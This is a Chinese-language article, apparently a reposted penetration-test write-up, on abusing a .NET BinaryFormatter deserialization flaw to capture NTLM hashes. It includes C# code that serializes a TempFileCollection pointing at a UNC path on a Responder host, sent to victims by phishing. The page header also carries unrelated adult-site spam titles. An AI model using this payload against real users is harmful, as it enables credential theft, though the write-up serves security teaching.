中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

怎樣利用.NET反序列化漏洞獲取NTLM Hashes

發布時間:2021-10-28 09:23:12 來源:億速云 閱讀:177 作者:柒染 欄目:編程語言

這期內容當中小編將會給大家帶來有關怎樣利用.NET反序列化漏洞獲取NTLM Hashes,文章內容豐富且以專業的角度為大家分析和敘述,閱讀完這篇文章希望大家可以有所收獲。

在最近的一次滲透測試中,我們遇到了一個用來獲取管理員憑據的有趣技術(當然,NTLM散列已被破解)。這次攻擊并沒有什么特別新的東西,它需要特殊的條件才能實現,但我們認為這足讓我們把它分享出來。在mediaservice.net博客上Gianluca Baldi最近發布的一篇博客文章中,也描述了非常類似的技術。我們發現我們能夠做一些非常相似的事情,但針對利用的不是XXE而是.net反序列化漏洞。

當用戶加載惡意文件時會觸發此特定漏洞,因此需要用戶交互,但在網絡中可訪問的應用程序中可能存在類似的漏洞。 這完全取決于數據的反序列化位置。

反序列化基礎

反序列化是任何執行大量應用程序或Web應用程序安全測試的人都應該熟悉的東西。通常在Java環境中討論,反序列化漏洞是許多應用程序(包括.NET應用程序)中都有可能會出現的漏洞。

對于那些不太熟悉的人來說,序列化就是將一個對象轉換成一個字節流的過程,這樣就可以輕松保存在磁盤文件或數據庫中。反序列化是序列化的逆過程;通常這可以用于兩個應用程序(可能位于不同主機上)間通信的RPC。當應用程序的狀態需要保存時(這也很常見),序列化的數據會被寫入磁盤并在之后進行恢復。

我們可以通過下面的例子看到這一點。

using System;
using System.IO;
using System.Runtime.Serialization.Formatters.Binary;
namespace serialisationTest1
{
    [Serializable]
    class MyClass
    {
        private int x = 1;
        private int y = 2;
        public string s = "Hello World";
        public MyClass() { Console.WriteLine("In Constructor"); }
        public void Method() { Console.WriteLine("Method()"); }
        public void Dispose()
        {
            Console.WriteLine("Disposing Object");
        }
    }
    class Program
    {
        static void Main(string[] args)
        {
            BinaryFormatter binaryFormatter = new BinaryFormatter();
            MyClass myClass = new MyClass();
            using (FileStream fileStream = File.OpenWrite("save"))
            {
                binaryFormatter.Serialize(fileStream, myClass);
            }
        }
    }
}

這將創建一個文件并保存,我們可以在文本編輯器中查看。

怎樣利用.NET反序列化漏洞獲取NTLM Hashes

當應用程序對不可信數據進行反序列化時,有時可能會被攻擊者所利用。如果我們看一下上面的反序列化的對象,很明顯,雖然我們不能直接向應用程序注入代碼,但是如果反序列化的對象在它的構造函數中或在它的dispose方法中,我們或許能夠對其進行利用(即惡意的)- 當.NET對象被銷毀時,垃圾回收器調用的方法。這是因為當進行反序列化嘗試時,實際上該對象確實被創建并銷毀,即使該對象由于類型錯誤而無法使用。

漏洞

在測試中,我們發現桌面安裝了.NET應用程序。盡管我們并不了解應用程序的性質,但我們可以肯定的是它具有“保存”功能。為了保存,應用程序用一個特定的對象并將其序列化到磁盤。之后它可以通過相反的方式加載這個保存的對象并反序列化它。

漏洞代碼類似于下面:

using System;
using System.IO;
using System.Runtime.Serialization.Formatters.Binary;
namespace serialisationTest1
{
    class Program
    {
        static void Main(string[] args)
        {
            string saveFile = "save";
            MyClass myClass = null;
            BinaryFormatter binaryFormatter = new BinaryFormatter();
            FileStream fileStream = File.OpenRead(saveFile);
            try {
                Object o = binaryFormatter.Deserialize(fileStream);
                myClass = (MyClass)o;
                myClass.Method();
            }
            catch (Exception) { }
        }
    }
}

如前所述,在這種特殊情況下,我們需要找到一個對象,它在創建或銷毀時會發揮一些有用的作用。

System.CodeDom.Compiler.TempFileCollection是.NET中的一個對象,用于刪除使用AddFile方法添加的文件。這已通過在特定位置(d:\file1)中創建文件,并將序列化的TempFileCollection用作應用程序“保存”文件得到證實。反序列化的對象是使用以下代碼片段創建的:

static void Main(string[] args)
{
    BinaryFormatter binaryFormatter = new BinaryFormatter();
    TempFileCollection tempFileCollection = new TempFileCollection();
    tempFileCollection.AddFile("d:\\test",false);
    using (FileStream fileStream = File.OpenWrite("save"))
    {
    binaryFormatter.Serialize(fileStream, tempFileCollection);
    }
}

當我們加載保存文件時,應用程序反序列化確實刪除了測試文件。這是一個很好的PoC,那么我們能再進一步嗎?

獲取憑據

此時,我們有一個應用程序存在一個反序列化漏洞,當打開一個保存文件時會觸發一個反序列化漏洞,并且一個可以反序列化的對象會刪除我們可以指定的文件。

如果從UNC路徑 (i.e. \\host\file)中讀取文件,Windows將嘗試使用服務器進行身份驗證。如果我們將已刪除的文件更改為運行Responder的服務器上的UNC路徑,我們將能夠捕獲NTLM握手并嘗試破解密碼。

下面的.net代碼生成我們的payload:

static public void MakeObject()
{
    BinaryFormatter binaryFormatter = new BinaryFormatter();
    TempFileCollection tempFileCollection = new TempFileCollection();
    tempFileCollection.AddFile("\\\\<responderIP>\\test", false);
    using (FileStream fileStream = File.OpenWrite("save"))
    {
    binaryFormatter.Serialize(fileStream, tempFileCollection);
    }
}

然后,我們運行Responder,將文件發送給用戶(通過網絡釣魚攻擊)并等待。不一會兒我們就獲取到了哈希,我們可以用于破解。

怎樣利用.NET反序列化漏洞獲取NTLM Hashes

基于我們強大的字典,以及目標用戶脆弱的密碼策略,沒花多久時間我們便成功破解出了密碼。

上述就是小編為大家分享的怎樣利用.NET反序列化漏洞獲取NTLM Hashes了,如果剛好有類似的疑惑,不妨參照上述分析進行理解。如果想知道更多相關知識,歡迎關注億速云行業資訊頻道。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

河源市| 镇康县| 汾阳市| 彰化市| 新丰县| 衡东县| 平利县| 梁山县| 年辖:市辖区| 桐庐县| 依安县| 辽阳县| 河间市| 托里县| 太康县| 高雄市| 曲阜市| 神池县| 钟祥市| 库车县| 兴城市| 南宁市| 白朗县| 左权县| 定远县| 儋州市| 兴仁县| 三台县| 乌恰县| 正宁县| 马龙县| 渝北区| 谷城县| 兴化市| 禹州市| 平顶山市| 新郑市| 崇阳县| 北辰区| 海丰县| 云霄县|